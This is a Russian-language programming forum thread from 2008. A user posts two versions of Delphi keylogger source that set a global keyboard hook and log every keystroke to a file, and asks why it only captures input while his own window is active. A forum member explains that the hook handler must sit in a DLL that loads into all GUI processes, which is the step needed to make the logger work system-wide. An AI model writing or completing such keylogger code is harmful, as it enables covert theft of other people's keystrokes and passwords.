Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Низкоуровневое программирование > Win Api
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 14.12.2008, 13:46   #1
Vadik(R)
Пользователь
 
Регистрация: 10.03.2008
Сообщений: 68
Печаль Кейлоггер

Люди, почему не работает кейлоггер:
Код:
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs;

type
  TForm1 = class(TForm)
	procedure FormClose(Sender: TObject; var Action: TCloseAction);
  private
	{ Private declarations }
  public
	{ Public declarations }
  end;

var
  Form1: TForm1;
  SaveExitProc: Pointer;
  HKey: hHook=0;
  f: Text;

implementation

{$R *.dfm}

function Key_HookKey(code: integer; wParam: integer; lParam: integer): integer stdcall;
begin
  if (code>=0) and (lParam and $40000000 = 0) then
  begin
	assign(f, 'C:\1.txt');
	if fileexists('C:\1.txt') then append(f) else rewrite(f);
	writeln(f, chr(wParam));
	close(f)
  end;
  Result:=CallNextHookEx(HKey, Code, wParam, lParam)
end;

procedure StartKey;
begin
  HKey:=SetWindowsHookEx(WH_KEYBOARD, @Key_HookKey, hInstance, 0)
end;

procedure RemoveHookKey;
begin
  if HKey<>0 then
  begin
	UnhookWindowsHookEx(HKey);
	HKey:=0
  end
end;

procedure RemoveAllHooks;
begin
  RemoveHookKey;
  ExitProc:=SaveExitProc
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  RemoveAllHooks
end;

begin
  SaveExitProc:=ExitProc;
  ExitProc:=@RemoveAllHooks;
  StartKey
end.
Вообще он работает, но только на половину. Например, если окно моего приложения активно - то работает. Как только окно потеряет фокус и если нажать любую клавишу, то программа не работает. Даже если потом опять сделать окно своего приложения активным.
Я вот вроде программу понимаю, только не пойму для чего тут ExitProc, SaveExitProc. Всмысле с какой целью их тут используют. И нужны ли они вообще?
И второе, что мне не понятно: почему все так советуют писать кейлоггер именно в dll'ке, почему нельзя в обычной программе, как, например, тут?
Вообще этот код он изначально был в библиотеке, но я решил сделать все в одной программе. Теперь ничего не работает. Помогите довести дело до конца, чтобы все работало и без всяких dll, если такое возможно. Если нет, то объясните, почему без dll'ок обойтись нельзя?
Заранее спасибо!

Методом тыка решил сократить код вот так:

Код:
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs;

type
  TForm1 = class(TForm)
	procedure FormClose(Sender: TObject; var Action: TCloseAction);
	procedure FormCreate(Sender: TObject);
  private
	{ Private declarations }
  public
	{ Public declarations }
  end;

var
  Form1: TForm1;
  HKey: hHook=0;
  f: Text;

implementation

{$R *.dfm}

function Key_HookKey(code: integer; wParam: integer; lParam: integer): integer stdcall;
begin
  if (code>=0) and (lParam and $40000000 = 0) then
  begin
	assign(f, 'C:\1.txt');
	if fileexists('C:\1.txt') then append(f) else rewrite(f);
	writeln(f, chr(wParam));
	close(f)
  end;
  Result:=CallNextHookEx(HKey, Code, wParam, lParam)
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  if HKey<>0 then UnhookWindowsHookEx(HKey)
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  HKey:=SetWindowsHookEx(WH_KEYBOARD, @Key_HookKey, hInstance, 0)
end;

end.
Такое ощущение, что тут виноваты либо параметры SetWindowsHookEx (скорее всего hInstance), либо CallNextHookEx. Видимо надо с ней что-то делать, только я не знаю, что именно

Последний раз редактировалось rpy3uH; 14.12.2008 в 16:20.
Vadik(R) вне форума Ответить с цитированием
Старый 14.12.2008, 16:23   #2
rpy3uH
добрый няша
Старожил
 
Аватар для rpy3uH
 
Регистрация: 29.10.2006
Сообщений: 4,804
По умолчанию

функция обработчик должна находиться в DLL. обсуждалось 1000 раз. юзаем поиск по форуму
rpy3uH вне форума Ответить с цитированием
Старый 14.12.2008, 16:37   #3
Vadik(R)
Пользователь
 
Регистрация: 10.03.2008
Сообщений: 68
По умолчанию

Хорошо, тогда объясни мне пожалуйста, почему функция обработчик должна находиться в dll'ке? Почему по-другому нельзя?
П.с. Я чайник в Делфи, но мне казалось, что даже MS Office можно сделать все одним файлом без всяких библиотек
Vadik(R) вне форума Ответить с цитированием
Старый 14.12.2008, 17:04   #4
rpy3uH
добрый няша
Старожил
 
Аватар для rpy3uH
 
Регистрация: 29.10.2006
Сообщений: 4,804
По умолчанию

потому что эта DLL после установки хука грузится во все GUI процессы, а с exe файлом это проблематично

Цитата:
Сообщение от Vadik(R) Посмотреть сообщение
П.с. Я чайник в Делфи, но мне казалось, что даже MS Office можно сделать все одним файлом без всяких библиотек
да, можно. но только чайники так думают
rpy3uH вне форума Ответить с цитированием
Старый 14.12.2008, 22:14   #5
Vadik(R)
Пользователь
 
Регистрация: 10.03.2008
Сообщений: 68
Радость

Цитата:
Сообщение от rpy3uH Посмотреть сообщение
потому что эта DLL после установки хука грузится во все GUI процессы
Спасибо! Значит мне надо побольше прочитать про dll'ки, как их применяют. Раньше для меня это было просто как хранилище процедур и функций, которые можно изменять, не меняя саму программу. А теперь еще больше узнал от тебя
Vadik(R) вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
кейлоггер Акашаев Нурлан Общие вопросы Delphi 4 21.10.2008 19:05